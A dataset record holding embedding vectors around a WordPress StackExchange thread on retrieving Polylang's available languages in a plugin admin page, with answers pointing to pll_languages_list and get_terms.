-0.02130126953125, 0.00447845458984375, -0.041351318359375, 0.054351806640625, 0.11956787109375, 0.006103515625, 0.06304931640625, 0.03826904296875, 0.007678985595703125, 0.06390380859375, -0.0046844482421875, 0.0474853515625, -0.006412506103515625, 0.0165557861328125, -0.00910186767578125, 0.029693603515625, 0.01451873779296875, -0.01271820068359375, 0.0260772705078125, 0.01488494873046875, 0.0501708984375, -0.04620361328125, 0.01134490966796875, -0.015106201171875, -0.0134429931640625, 0.047454833984375, 0.005550384521484375, -0.006732940673828125, -0.003276824951171875, -0.0218963623046875, -0.029327392578125, -0.038604736328125, -0.0184173583984375, 0.01194000244140625, -0.00241851806640625, -0.017608642578125, 0.03875732421875, 0.005466461181640625, 0.018280029296875, -0.006237030029296875, -0.0260772705078125, 0.0323486328125, 0.01258087158203125, -0.01128387451171875, 0.03192138671875, -0.0496826171875, -0.029388427734375, 0.0305328369140625, -0.01837158203125, -0.0284271240234375, -0.026123046875, -0.0055694580078125, 0.011322021484375, 0.0570068359375, -0.034698486328125, 0.0009121894836425781, 0.0379638671875, -0.027435302734375, 0.02740478515625, -0.0156097412109375, 0.00795745849609375, -0.00498199462890625, 0.00792694091796875, 0.00678253173828125, 0.0140228271484375, -0.03399658203125, -0.01250457763671875, -0.04388427734375, 0.0859375, -0.0595703125, -0.003452301025390625, -0.002124786376953125, 0.026031494140625, 0.0120086669921875, 0.01067352294921875, 0.02301025390625, -0.0210418701171875, -0.018951416015625, 0.00640106201171875, -0.036712646484375, 0.00403594970703125, -0.01158905029296875, -0.025421142578125, 0.076416015625, -0.00884246826171875, -0.008331298828125, 0.0160675048828125, 0.040435791015625, -0.02630615234375, 0.0251312255859375, -0.01245880126953125, 0.049530029296875, 0.0163726806640625, 0.0186920166015625, 0.003223419189453125, 0.0034465789794921875, 0.032135009765625, 0.01708984375, 0.0625, 0.03204345703125, -0.082763671875, -0.021392822265625, 0.017578125, 0.0224609375, -0.0038547515869140625, 0.07977294921875, -0.0017633438110351562, 0.02862548828125, 0.042938232421875, -0.0264739990234375, 0.006793975830078125, 0.0202789306640625, -0.012451171875, 0.0231781005859375, 0.042449951171875, 0.059326171875, 0.0001220703125, 0.028961181640625, -0.018646240234375, -0.004947662353515625, 0.05230712890625, -0.042205810546875, -0.0193634033203125, 0.04132080078125, -0.005199432373046875, -0.01021575927734375, 0.0066070556640625, -0.04071044921875, 0.034698486328125, -0.0102081298828125, 0.0386962890625, 0.019927978515625, 0.0199737548828125, 0.0206298828125, 0.001430511474609375, 0.018768310546875, 0.025482177734375, -0.034210205078125, 0.0396728515625, 0.07476806640625, 0.05303955078125, 0.01959228515625, -0.024200439453125, 0.035247802734375, 0.06573486328125, -0.0261993408203125, -0.044036865234375, 0.00820159912109375, -0.00231170654296875, 0.03021240234375, -0.0014705657958984375, 0.052032470703125, -0.04071044921875, -0.029815673828125, -0.00782012939453125, 0.01108551025390625, 0.0274505615234375, 0.01169586181640625, 0.00128173828125, 0.0078125, -0.02020263671875, 0.0243377685546875, -0.042388916015625, 0.03240966796875, 0.0230865478515625, 0.042755126953125, 0.004940032958984375, 0.0426025390625, 0.00151824951171875, -0.0177001953125, 0.0262298583984375, 0.0098419189453125, -0.00682830810546875, -0.05218505859375, 0.02557373046875, -0.05133056640625, 0.01262664794921875, 0.00482940673828125, 0.0460205078125, 0.05908203125, 0.045166015625, -0.01554107666015625, -0.01224517822265625, 0.0239715576171875, 0.044403076171875, -0.0252685546875, 0.042266845703125, -0.0293731689453125, 0.0197601318359375, -0.014434814453125, -0.00232696533203125, -0.030975341796875, 0.0198516845703125, 0.00852203369140625, -0.00963592529296875, 0.04345703125, 0.0006761550903320312, -0.02093505859375, 0.02838134765625, -0.023773193359375, 0.04083251953125, -0.0006880760192871094, 0.01303863525390625, 0.0162200927734375, -0.007396697998046875, -0.0243072509765625, -0.006252288818359375, 0.0247650146484375, -0.00934600830078125, 0.036163330078125, -0.01219940185546875, 0.033843994140625, -0.02105712890625, -0.02557373046875, -0.006443023681640625, 0.003833770751953125, 0.037200927734375, 0.0181884765625, -0.08526611328125, -0.04498291015625, -0.03472900390625, 0.0146942138671875, 0.0007576942443847656, 0.111083984375, -0.02484130859375, -0.0022335052490234375, -0.050567626953125, -0.0033664703369140625, 0.003948211669921875, -0.016357421875, -0.040924072265625, 0.048492431640625, 0.020904541015625, -0.015899658203125, -0.044342041015625, 0.039093017578125, 0.022186279296875, -0.01059722900390625, 0.059661865234375, -0.045074462890625, 0.01325225830078125, -0.05023193359375, -0.0078887939453125, -0.051971435546875, -0.08648681640625, -0.048736572265625, 0.0210723876953125, -0.031768798828125, -0.024261474609375, -0.0301055908203125, 0.03466796875, 0.0022335052490234375, -0.01250457763671875, -0.0026187896728515625, -0.029571533203125, 0.0157012939453125, 0.04180908203125, -0.027099609375, 0.04095458984375, -0.0136871337890625, -0.0297393798828125, 0.047027587890625, -0.0179290771484375, -0.0131072998046875, -0.006595611572265625, 0.02606201171875, -0.06048583984375, -0.0293426513671875, -0.006824493408203125, 0.01947021484375, 0.0013790130615234375, -0.07171630859375, -0.01560211181640625, -0.0132904052734375, -0.005641937255859375, -0.0160980224609375, -0.03045654296875, -0.00009542703628540039, 0.0156707763671875, -0.02276611328125, -0.012939453125, -0.0234222412109375, 0.00028228759765625, 0.0085601806640625, -0.01161956787109375, -0.022918701171875, 0.035675048828125, -0.0216827392578125, 0.01268768310546875, -0.04132080078125, -0.0234527587890625, -0.007015228271484375, 0.00220489501953125, -0.042938232421875, -0.0372314453125, -0.044708251953125, -0.005329132080078125, -0.04510498046875, -0.0179290771484375, 0.0080108642578125, 0.00922393798828125, 0.01023101806640625, -0.04296875, -0.01342010498046875, 0.0159149169921875, -0.0184783935546875, -0.01015472412109375, -0.009979248046875, 0.03497314453125, -0.0194244384765625, -0.042205810546875, -0.00958251953125, 0.0051727294921875, 0.01035308837890625, -0.00557708740234375, -0.019287109375, -0.005767822265625, -0.046661376953125, -0.079833984375, 0.0609130859375, -0.010223388671875, -0.032318115234375, -0.08599853515625, -0.04412841796875, -0.007358551025390625, 0.05218505859375, -0.02764892578125, -0.004169464111328125, -0.061920166015625, 0.07940673828125, 0.0016107559204101562, 0.09039306640625, -0.052978515625, 0.0257568359375, 0.0095367431640625, 0.057373046875, 0.0234375, 0.0272064208984375, 0.0183563232421875, 0.0012359619140625, 0.048004150390625, 0.04913330078125, -0.01837158203125, 0.06634521484375, -0.0174102783203125, -0.042236328125, -0.007537841796875, -0.023956298828125, -0.021636962890625, -0.0103302001953125, 0.048919677734375, 0.031402587890625, 0.0106658935546875, -0.033203125, -0.02740478515625, -0.04510498046875, 0.0372314453125, -0.01416778564453125, -0.003513336181640625, -0.038360595703125, -0.003177642822265625, 0.01812744140625, 0.01203155517578125, 0.00467681884765625, -0.0379638671875, -0.0169219970703125, -0.004360198974609375, -0.00787353515625, -0.018463134765625, 0.02197265625, 0.04388427734375, 0.025787353515625, -0.0280303955078125, 0.0165252685546875, -0.0137176513671875, 0.005645751953125, 0.0166778564453125, -0.0195770263671875, 0.007137298583984375, 0.018798828125, 0.0012922286987304688, 0.00704193115234375, 0.0235443115234375, -0.00689697265625, 0.00403594970703125, -0.0143890380859375, -0.0276336669921875, 0.038330078125, 0.0306549072265625, 0.06280517578125, -0.04608154296875, 0.0296783447265625, 0.03265380859375, 0.0019521713256835938, -0.01331329345703125, 0.02032470703125, -0.006023406982421875, 0.037445068359375, -0.05377197265625, 0.005767822265625, -0.00600433349609375, -0.038818359375, -0.0013837814331054688, 0.028045654296875, -0.0236968994140625, -0.03515625, 0.0030975341796875, 0.0030155181884765625, 0.0172882080078125, 0.0032444000244140625 ]
c2582102e1d72a871e1946b47435142d1645d3f7
Wordpress Stackexchange Q: Get Polylang available languages on admin page of my plugin I am making an plugin, and inside my admin page (Which i add by add_menu_page() function) i call this function pll_the_languages(["raw" => 1])) but its return nothing,on client side its work fine. I added many languages on Polylang setting page. How can i get Polylang available languages from an admin page ? A: According to Polylangs Function Reference, pll_the_languages Displays a language switcher. And most probably it uses some additional CSS/JS to work. If you want to get the list of languages and display them with your custom code, then you can use this function instead: pll_languages_list($args); and it will return the list of languages. $args is an optional array parameter. Options are: * *‘hide_empty’ => hides languages with no posts if set to 1 (default: 0) *‘fields’ => returns only that field if set. Possible values are ‘slug’, ‘locale’, ‘name’, defaults to ‘slug’
Q: Get Polylang available languages on admin page of my plugin I am making an plugin, and inside my admin page (Which i add by add_menu_page() function) i call this function pll_the_languages(["raw" => 1])) but its return nothing,on client side its work fine. I added many languages on Polylang setting page. How can i get Polylang available languages from an admin page ? A: According to Polylangs Function Reference, pll_the_languages Displays a language switcher. And most probably it uses some additional CSS/JS to work. If you want to get the list of languages and display them with your custom code, then you can use this function instead: pll_languages_list($args); and it will return the list of languages. $args is an optional array parameter. Options are: * *‘hide_empty’ => hides languages with no posts if set to 1 (default: 0) *‘fields’ => returns only that field if set. Possible values are ‘slug’, ‘locale’, ‘name’, defaults to ‘slug’ A: You can get an array with the language details using the following call: if (function_exists('pll_languages_list')) { return pll_languages_list(array('fields' => array())); } The result is an array which you can play with to your liking... { term_id: 19, name: "English", slug: "en", term_group: 0, term_taxonomy_id: 19, taxonomy: "language", description: "en_US", parent: 0, count: 149, tl_term_id: 20, tl_term_taxonomy_id: 20, tl_count: 35, locale: "en_US", is_rtl: 0, w3c: "en-US", facebook: "en_US", flag_url: "http://***********.one/wp-content/plugins/polylang/flags/us.png", flag: "<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHzSURBVHjaYkxOP8IAB//+Mfz7w8Dwi4HhP5CcJb/n/7evb16/APL/gRFQDiAAw3JuAgAIBEDQ/iswEERjGzBQLEru97ll0g0+3HvqMn1SpqlqGsZMsZsIe0SICA5gt5a/AGIEarCPtFh+6N/ffwxA9OvP/7//QYwff/6fZahmePeB4dNHhi+fGb59Y4zyvHHmCEAAAW3YDzQYaJJ93a+vX79aVf58//69fvEPlpIfnz59+vDhw7t37968efP3b/SXL59OnjwIEEAsDP+YgY53b2b89++/awvLn98MDi2cVxl+/vl6mituCtBghi9f/v/48e/XL86krj9XzwEEEENy8g6gu22rfn78+NGs5Ofr16+ZC58+fvyYwX8rxOxXr169fPny+fPn1//93bJlBUAAsQADZMEBxj9/GBxb2P/9+S/R8u3vzxuyaX8ZHv3j8/YGms3w8ycQARmi2eE37t4ACCDGR4/uSkrKAS35B3TT////wADOgLOBIaXIyjBlwxKAAGKRXjCB0SOEaeu+/y9fMnz4AHQxCP348R/o+l+//sMZQBNLEvif3AcIIMZbty7Ly6t9ZmXl+fXj/38GoHH/UcGfP79//BBiYHjy9+8/oUkNAAHEwt1V/vI/KBY/QSISFqM/GBg+MzB8A6PfYC5EFiDAABqgW776MP0rAAAAAElFTkSuQmCC" title="English" alt="English" width="16" height="11" style="width: 16px; height: 11px;" />", home_url: "http://**********.one/en/front-page-2/", search_url: "http://*********.one/en/", host: null, mo_id: "1716", page_on_front: 2560, page_for_posts: 499, filter: "raw", flag_code: "us" }, A: Polylang offers the function pll_languages_list() but note this will return only one type of value slug. You can use get_terms to query all languages with the name and slug included. get_terms( 'term_language', [ 'hide_empty' => false ] );
wordpress
{ "language": "en", "length": 293, "provenance": "stackexchange_00019.jsonl.gz:486954", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/306207" }
[ 0.036285400390625, -0.011566162109375, 0.0313720703125, -0.0294342041015625, -0.0210113525390625, 0.00962066650390625, 0.00232696533203125, -0.030914306640625, -0.0211029052734375, -0.00872802734375, 0.036773681640625, -0.01488494873046875, -0.059539794921875, -0.06378173828125, 0.0265655517578125, -0.04180908203125, 0.047637939453125, 0.0206298828125, 0.056671142578125, 0.01418304443359375, -0.01605224609375, 0.0247802734375, 0.0306549072265625, 0.029205322265625, 0.0679931640625, -0.055145263671875, -0.046630859375, -0.022369384765625, 0.01161956787109375, -0.02001953125, 0.03143310546875, 0.0299530029296875, 0.01499176025390625, -0.0178070068359375, 0.0230865478515625, -0.08197021484375, 0.029052734375, -0.044158935546875, -0.006145477294921875, 0.0133209228515625, 0.0166473388671875, -0.006328582763671875, -0.048675537109375, 0.05328369140625, -0.05322265625, -0.034332275390625, -0.005496978759765625, -0.01409912109375, 0.005016326904296875, 0.0104522705078125, 0.0169219970703125, -0.0153961181640625, 0.01245880126953125, -0.00469207763671875, 0.00569915771484375, 0.006649017333984375, -0.0120086669921875, 0.0240936279296875, 0.006832122802734375, 0.01036834716796875, -0.02349853515625, 0.0245513916015625, 0.00848388671875, -0.0198516845703125, -0.042633056640625, 0.0162811279296875, -0.004482269287109375, 0.01236724853515625, -0.03546142578125, -0.0723876953125, -0.004611968994140625, -0.027923583984375, 0.0289154052734375, -0.0298309326171875, -0.0234527587890625, 0.0157012939453125, -0.04852294921875, -0.00519561767578125, 0.06390380859375, -0.042510986328125, 0.038726806640625, 0.0018482208251953125, -0.0151214599609375, 0.026824951171875, -0.01549530029296875, 0.0160980224609375, -0.0087432861328125, -0.025726318359375, -0.037200927734375, -0.02197265625, -0.016326904296875, -0.01483917236328125, -0.0670166015625, 0.02899169921875, 0.01033782958984375, -0.033935546875, 0.0095062255859375, 0.0236053466796875, -0.0118865966796875, -0.0002493858337402344, 0.00469970703125, -0.04595947265625, 0.0212860107421875, -0.030670166015625, 0.00574493408203125, -0.00274658203125, -0.00385284423828125, -0.0004673004150390625, 0.04315185546875, 0.02825927734375, -0.000751495361328125, 0.0423583984375, 0.0074615478515625, -0.0034122467041015625, -0.031707763671875, -0.003734588623046875, -0.02703857421875, -0.00315093994140625, -0.00325775146484375, -0.0009655952453613281, 0.018310546875, 0.037933349609375, -0.034637451171875, -0.0205535888671875, -0.0041046142578125, -0.03082275390625, -0.014739990234375, 0.019500732421875, -0.028778076171875, 0.04840087890625, -0.0200958251953125, 0.0019664764404296875, 0.0206298828125, 0.022003173828125, -0.0142059326171875, -0.0207061767578125, -0.01953125, 0.019683837890625, 0.0164337158203125, -0.03399658203125, 0.02093505859375, 0.008575439453125, 0.017425537109375, 0.02142333984375, -0.06988525390625, -0.02984619140625, -0.012786865234375, 0.0389404296875, 0.01303863525390625, -0.036529541015625, 0.01605224609375, -0.039337158203125, 0.037841796875, 0.0093841552734375, 0.006290435791015625, 0.0144500732421875, 0.051116943359375, -0.00983428955078125, -0.044891357421875, -0.01395416259765625, -0.017486572265625, -0.034942626953125, 0.0012464523315429688, -0.032257080078125, -0.041168212890625, 0.036346435546875, -0.01273345947265625, 0.006427764892578125, 0.0367431640625, -0.0138702392578125, 0.050262451171875, -0.0013895034790039062, 0.037811279296875, 0.0289306640625, 0.01153564453125, 0.005084991455078125, -0.029815673828125, 0.038330078125, 0.018402099609375, 0.01197052001953125, 0.0207061767578125, -0.0217132568359375, 0.056884765625, 0.01904296875, -0.04931640625, 0.01273345947265625, 0.01971435546875, 0.06640625, 0.0290069580078125, 0.018218994140625, 0.034881591796875, -0.0215301513671875, -0.039794921875, 0.0256500244140625, -0.02325439453125, 0.0182342529296875, -0.02838134765625, 0.02734375, -0.019683837890625, -0.0231170654296875, 0.005420684814453125, -0.0149078369140625, 0.004894256591796875, 0.0283050537109375, -0.050445556640625, 0.0238037109375, -0.025970458984375, 0.021575927734375, 0.037078857421875, 0.019683837890625, -0.004119873046875, -0.000029742717742919922, -0.01708984375, -0.0235443115234375, -0.035980224609375, 0.01416015625, -0.045379638671875, 0.03179931640625, -0.0003056526184082031, 0.0203704833984375, 0.040802001953125, -0.055023193359375, 0.03814697265625, -0.003757476806640625, 0.0008087158203125, 0.026458740234375, -0.025665283203125, 0.0165252685546875, 0.031646728515625, -0.009429931640625, 0.06170654296875, 0.033172607421875, -0.0294036865234375, 0.0401611328125, 0.006557464599609375, -0.022369384765625, -0.0107574462890625, -0.06597900390625, 0.038299560546875, 0.04205322265625, 0.03741455078125, 0.04302978515625, -0.004756927490234375, -0.0169525146484375, 0.086669921875, -0.034881591796875, 0.0057525634765625, -0.0233154296875, -0.005970001220703125, 0.01812744140625, 0.006999969482421875, 0.006954193115234375, 0.0054473876953125, -0.0198974609375, 0.0189361572265625, 0.0295257568359375, -0.03265380859375, -0.049285888671875, 0.031890869140625, -0.0220794677734375, 0.01934814453125, -0.005573272705078125, -0.010833740234375, -0.001720428466796875, -0.011993408203125, -0.0150299072265625, -0.0196685791015625, -0.0059051513671875, 0.00925445556640625, -0.021484375, 0.0306854248046875, 0.004337310791015625, 0.0031490325927734375, 0.00005626678466796875, -0.0341796875, -0.020263671875, -0.006771087646484375, 0.00925445556640625, -0.0098724365234375, -0.0282440185546875, 0.0133209228515625, 0.0697021484375, -0.018646240234375, -0.021484375, -0.0401611328125, -0.05657958984375, -0.0161895751953125, 0.0230865478515625, 0.0272216796875, 0.00981903076171875, 0.0220489501953125, 0.0352783203125, 0.003681182861328125, 0.032806396484375, 0.0004417896270751953, -0.004024505615234375, 0.04730224609375, -0.032257080078125, 0.02618408203125, -0.018035888671875, 0.075927734375, 0.06671142578125, 0.0036983489990234375, -0.005611419677734375, -0.0011491775512695312, -0.0291290283203125, -0.032806396484375, 0.0180816650390625, -0.01432037353515625, -0.00801849365234375, -0.06378173828125, 0.04833984375, 0.01085662841796875, -0.0274200439453125, -0.0211181640625, -0.032470703125, -0.037689208984375, -0.0081787109375, -0.099609375, -0.01800537109375, 0.018707275390625, -0.05242919921875, 0.0263671875, 0.0291595458984375, -0.012359619140625, -0.043304443359375, 0.051910400390625, 0.00431060791015625, 0.034759521484375, -0.009246826171875, -0.054046630859375, -0.028045654296875, -0.06640625, -0.03875732421875, 0.006046295166015625, -0.01061248779296875, -0.00843048095703125, 0.039947509765625, -0.020904541015625, -0.051849365234375, -0.041748046875, 0.0301513671875, 0.017547607421875, 0.0017881393432617188, -0.007640838623046875, -0.007457733154296875, 0.05035400390625, -0.01160430908203125, 0.0014362335205078125, 0.04742431640625, -0.0179443359375, -0.006862640380859375, 0.0028324127197265625, 0.025482177734375, 0.0521240234375, -0.0902099609375, -0.041656494140625, 0.046478271484375, -0.0037097930908203125, -0.0167388916015625, -0.0095672607421875, 0.006130218505859375, -0.00934600830078125, 0.0748291015625, -0.012298583984375, -0.03564453125, 0.031097412109375, 0.0372314453125, -0.0190887451171875, -0.0052490234375, 0.0096282958984375, -0.032318115234375, 0.027557373046875, -0.0015239715576171875, -0.0019893646240234375, 0.0118255615234375, 0.0660400390625, 0.02874755859375, 0.009246826171875, 0.045166015625, 0.059234619140625, 0.01267242431640625, 0.0165252685546875, -0.0309600830078125, -0.0276336669921875, 0.048309326171875, 0.0133819580078125, 0.00656890869140625, -0.0112457275390625, -0.043304443359375, -0.004978179931640625, 0.053131103515625, -0.0273284912109375, -0.0160675048828125, -0.0189666748046875, 0.031829833984375, -0.05023193359375, -0.0673828125, -0.0011663436889648438, -0.01163482666015625, -0.05126953125, -0.00885009765625, -0.006732940673828125, -0.01143646240234375, -0.0142669677734375, 0.048828125, -0.04443359375, -0.0271148681640625, 0.0240020751953125, -0.029266357421875, -0.0157012939453125, -0.007541656494140625, -0.0019426345825195312, -0.041229248046875, -0.01404571533203125, -0.004993438720703125, -0.038726806640625, -0.0037326812744140625, 0.027313232421875, 0.01387786865234375, 0.004833221435546875, -0.06292724609375, -0.006397247314453125, 0.025054931640625, 0.015716552734375, 0.0218658447265625, -0.01763916015625, -0.01007843017578125, 0.031158447265625, -0.0088958740234375, -0.01412200927734375, -0.00036787986755371094, -0.00644683837890625, 0.0282745361328125, -0.01404571533203125, 0.0496826171875, -0.01467132568359375, -0.0277557373046875, 0.034271240234375, -0.05450439453125, -0.0236663818359375, -0.017669677734375, -0.04095458984375, -0.0221099853515625, -0.046661376953125, 0.017425537109375, 0.007259368896484375, -0.0217437744140625, 0.017425537109375, 0.0014448165893554688, -0.0197906494140625, 0.013824462890625, 0.040069580078125, 0.0200958251953125, -0.0175018310546875, -0.06842041015625, 0.00713348388671875, 0.064453125, -0.007030487060546875, 0.06280517578125, 0.063232421875, -0.0625, 0.10821533203125, 0.05548095703125, -0.0012807846069335938, 0.00848388671875, -0.01073455810546875, 0.027618408203125, -0.0211181640625, -0.0020198822021484375, 0.0249481201171875, -0.0222625732421875, 0.0321044921875, 0.005207061767578125, -0.01093292236328125, 0.0256500244140625, 0.02630615234375, -0.002246856689453125, -0.036956787109375, -0.0350341796875, -0.050537109375, 0.0207672119140625, -0.027862548828125, -0.0160980224609375, 0.0018482208251953125, 0.004871368408203125, 0.0012836456298828125, 0.01462554931640625, 0.004894256591796875, 0.07501220703125, 0.0750732421875, 0.009033203125, 0.045654296875, 0.037750244140625, -0.00829315185546875, -0.0031795501708984375, -0.004482269287109375, 0.04656982421875, -0.004032135009765625, -0.053619384765625, 0.0016927719116210938, -0.0197296142578125, 0.03924560546875, 0.0187225341796875, 0.004161834716796875, -0.006534576416015625, 0.04302978515625, 0.03167724609375, -0.00913238525390625, 0.035614013671875, 0.0290679931640625, -0.0007100105285644531, 0.01556396484375, 0.01313018798828125, -0.00015294551849365234, 0.007572174072265625, 0.10662841796875, -0.034698486328125, 0.07708740234375, -0.01490020751953125, -0.03155517578125, 0.005901336669921875, 0.0291290283203125, 0.016845703125, -0.032073974609375, 0.01392364501953125, -0.0131378173828125, 0.044891357421875, -0.0165557861328125, -0.0012912750244140625, 0.0190582275390625, 0.019866943359375, -0.0003285408020019531, -0.01140594482421875, 0.009490966796875, 0.004016876220703125, -0.034759521484375, 0.046661376953125, 0.027740478515625, -0.037872314453125, -0.037506103515625, -0.0191802978515625, 0.023468017578125, 0.01116943359375, -0.0323486328125, 0.032745361328125, -0.0372314453125, 0.0037708282470703125, 0.014312744140625, -0.052825927734375, 0.01505279541015625, 0.034912109375, -0.0157012939453125, -0.0310211181640625, -0.00408172607421875, -0.054718017578125, 0.0085906982421875, -0.0060272216796875, 0.0069427490234375, -0.0214996337890625, 0.018035888671875, 0.037811279296875, -0.01235198974609375, -0.046142578125, 0.01971435546875, 0.00586700439453125, 0.03021240234375, -0.0147552490234375, -0.037078857421875, -0.009521484375, -0.0394287109375, -0.0025119781494140625, 0.0014667510986328125, -0.0399169921875, -0.0126800537109375, -0.00699615478515625, -0.03338623046875, 0.02105712890625, -0.03857421875, 0.00635528564453125, -0.0045928955078125, 0.029449462890625, -0.0031452178955078125, 0.049774169921875, 0.016082763671875, 0.06298828125, -0.005626678466796875, 0.045806884765625, 0.0196990966796875, 0.044158935546875, -0.02484130859375, -0.0270538330078125, 0.01336669921875, 0.015899658203125, -0.01093292236328125, -0.0167694091796875, 0.0024242401123046875, -0.046966552734375, 0.020416259765625, -0.004016876220703125, -0.0035610198974609375, 0.0011911392211914062, 0.01268768310546875, -0.0240478515625, 0.017913818359375, 0.00849151611328125, -0.0211181640625, 0.0478515625, -0.0382080078125, 0.01006317138671875, -0.00978851318359375, -0.0133209228515625, 0.0252227783203125, -0.01702880859375, 0.00719451904296875, 0.043609619140625, -0.019134521484375, 0.04156494140625, 0.049774169921875, 0.02081298828125, 0.04095458984375, 0.03753662109375, 0.0158843994140625, -0.031890869140625, -0.0178680419921875, 0.0005965232849121094, 0.00010204315185546875, 0.038787841796875, -0.0101470947265625, 0.003955841064453125, 0.03192138671875, -0.006114959716796875, 0.00421142578125, 0.048583984375, 0.044464111328125, -0.1072998046875, -0.0016307830810546875, 0.0101318359375, 0.0032958984375, -0.01061248779296875, 0.00878143310546875, -0.05230712890625, -0.0733642578125, 0.02044677734375, -0.034454345703125, -0.04058837890625, 0.0006413459777832031, -0.00629425048828125, -0.0264892578125, -0.0125274658203125, -0.0005955696105957031, 0.01207733154296875, 0.0122833251953125, 0.003200531005859375, -0.00859832763671875, -0.00494384765625, -0.039581298828125, -0.02374267578125, -0.00783538818359375, -0.040802001953125, -0.0736083984375, -0.0153656005859375, -0.0247344970703125, 0.009368896484375, 0.0194854736328125, -0.0216522216796875, 0.019866943359375, 0.055694580078125, -0.031982421875, 0.0047454833984375, 0.00959014892578125, -0.0148773193359375, 0.01346588134765625, 0.0027561187744140625, 0.0227203369140625, 0.0321044921875, -0.052001953125, 0.018951416015625, -0.0301971435546875, 0.00891876220703125, -0.00830078125, -0.00640869140625, 0.07275390625, -0.029693603515625, -0.017730712890625, 0.016082763671875, 0.00506591796875, 0.004077911376953125, -0.01313018798828125, 0.00258636474609375, -0.046783447265625, -0.0253143310546875, -0.007904052734375, -0.033355712890625, -0.0224456787109375, -0.0182647705078125, -0.05926513671875, 0.086181640625, -0.017578125, 0.033782958984375, 0.0301361083984375, 0.031341552734375, -0.0408935546875, -0.0164794921875, -0.0277557373046875, 0.01357269287109375, 0.0234222412109375, 0.00200653076171875, -0.05828857421875, 0.0017232894897460938, -0.0347900390625, 0.03411865234375, 0.0258636474609375, 0.007114410400390625, -0.00792694091796875, -0.0105438232421875, 0.0156097412109375, 0.029296875, 0.0005588531494140625, 0.01050567626953125, 0.01300811767578125, 0.11993408203125, 0.06378173828125, -0.08154296875, 0.0235595703125, -0.018157958984375, -0.024444580078125, 0.036773681640625, -0.0044403076171875, -0.032928466796875, -0.00600433349609375, -0.000591278076171875, -0.062225341796875, -0.00009953975677490234, 0.0273590087890625, -0.0208892822265625, 0.034027099609375, 0.01318359375, 0.014556884765625, -0.03558349609375, 0.0008258819580078125, -0.0189056396484375, 0.039764404296875, -0.00786590576171875, -0.0012683868408203125, 0.026611328125, 0.0237579345703125, -0.031982421875, -0.004779815673828125, -0.00494384765625, 0.00958251953125, -0.0105743408203125, 0.025421142578125, 0.0226287841796875, 0.01312255859375, -0.0219573974609375, 0.01206207275390625, -0.00940704345703125, 0.0143280029296875, -0.032470703125, -0.04779052734375, 0.016754150390625, 0.016021728515625, -0.007232666015625, 0.03643798828125, 0.00392913818359375, 0.053253173828125, 0.110107421875, 0.025238037109375, -0.0288543701171875, -0.0034618377685546875, 0.0303802490234375, -0.0044403076171875, -0.034942626953125, 0.039581298828125, -0.02001953125, -0.04669189453125, 0.0015840530395507812, -0.00347900390625, 0.09039306640625, 0.053009033203125, 0.038421630859375, -0.0540771484375, -0.055999755859375, -0.0002263784408569336, 0.02099609375, -0.034149169921875, 0.001071929931640625, -0.0225677490234375, -0.0433349609375, -0.0307159423828125, 0.03070068359375, 0.007366180419921875, -0.01139068603515625, 0.014190673828125, 0.031646728515625, -0.0147857666015625, -0.0195159912109375, 0.02325439453125, -0.01000213623046875, -0.0074920654296875, -0.02679443359375, 0.03955078125, -0.009368896484375, 0.001422882080078125, -0.00415802001953125, 0.0628662109375, -0.0264739990234375, -0.029815673828125, 0.02777099609375, -0.00893402099609375, -0.0309600830078125, -0.00780487060546875, -0.007965087890625, 0.048309326171875, 0.0033893585205078125, -0.0897216796875, 0.0128021240234375, -0.07440185546875, -0.06463623046875, 0.048248291015625, 0.04107666015625, -0.019378662109375, 0.0267181396484375, 0.0023174285888671875, -0.0267333984375, 0.0269927978515625, 0.0279388427734375, -0.0164642333984375, -0.0157623291015625, 0.0244598388671875, -0.01654052734375, -0.0266265869140625, -0.03436279296875, -0.01355743408203125, 0.042022705078125, 0.0282745361328125, 0.0096893310546875, 0.0076141357421875, 0.032806396484375, -0.020965576171875, -0.004459381103515625, -0.00958251953125, -0.0298614501953125, 0.039703369140625, 0.01214599609375, -0.0080718994140625, -0.0204620361328125, -0.056915283203125, 0.028656005859375, 0.0233306884765625, -0.035064697265625, 0.01605224609375, 0.0159759521484375, -0.006595611572265625, -0.019500732421875, 0.0309295654296875, -0.02960205078125, -0.057891845703125, -0.06298828125, 0.004367828369140625, 0.027862548828125, 0.06622314453125, -0.0174102783203125, 0.0004572868347167969, -0.0148773193359375, -0.050201416015625, 0.036346435546875, -0.03533935546875, 0.0032367706298828125, 0.02191162109375, -0.002532958984375, 0.0004253387451171875, -0.010040283203125, -0.0262298583984375, 0.0204315185546875, -0.0018157958984375, 0.02581787109375, -0.00980377197265625, 0.052490234375, 0.0275726318359375, 0.0028209686279296875, -0.0020198822021484375, -0.051422119140625, -0.0142822265625, 0.04815673828125, -0.01580810546875, 0.0056915283203125, 0.00873565673828125, -0.0203704833984375, -0.058868408203125, 0.021881103515625, 0.0151214599609375, -0.003902435302734375, -0.004108428955078125, -0.02667236328125, 0.020843505859375, 0.0137786865234375, -0.01336669921875, -0.008331298828125, 0.02398681640625, -0.04443359375, -0.002201080322265625, -0.0150909423828125, 0.0163421630859375, 0.033111572265625, 0.043609619140625, -0.074951171875, 0.0296630859375, 0.0084075927734375, -0.04937744140625, 0.0126495361328125, -0.017364501953125, -0.0013589859008789062, 0.0098419189453125, -0.027740478515625, 0.015594482421875, -0.0033588409423828125, 0.0496826171875, -0.00592803955078125, 0.01406097412109375, 0.02130126953125, 0.0350341796875, -0.06866455078125, -0.12310791015625, 0.044036865234375, -0.08203125, 0.00360870361328125, -0.01488494873046875, 0.00823211669921875, 0.01824951171875, -0.050201416015625, -0.10992431640625, 0.04730224609375, -0.023590087890625, -0.03375244140625, -0.03515625, 0.043853759765625, 0.0170440673828125, -0.034759521484375, -0.01201629638671875, -0.0191650390625, -0.01355743408203125, -0.016693115234375, -0.00986480712890625, 0.0190582275390625, 0.0167236328125, -0.0205078125, -0.032379150390625, -0.0093994140625, 0.0147857666015625, -0.0275421142578125, 0.01285552978515625, -0.044036865234375, 0.02545166015625, 0.024078369140625, -0.043701171875, -0.059539794921875, -0.00017380714416503906, 0.01244354248046875, 0.0138092041015625, -0.08538818359375, -0.029815673828125, -0.075927734375, 0.036865234375, -0.0025844573974609375, 0.01580810546875, 0.01383209228515625, -0.005001068115234375, 0.0255584716796875, 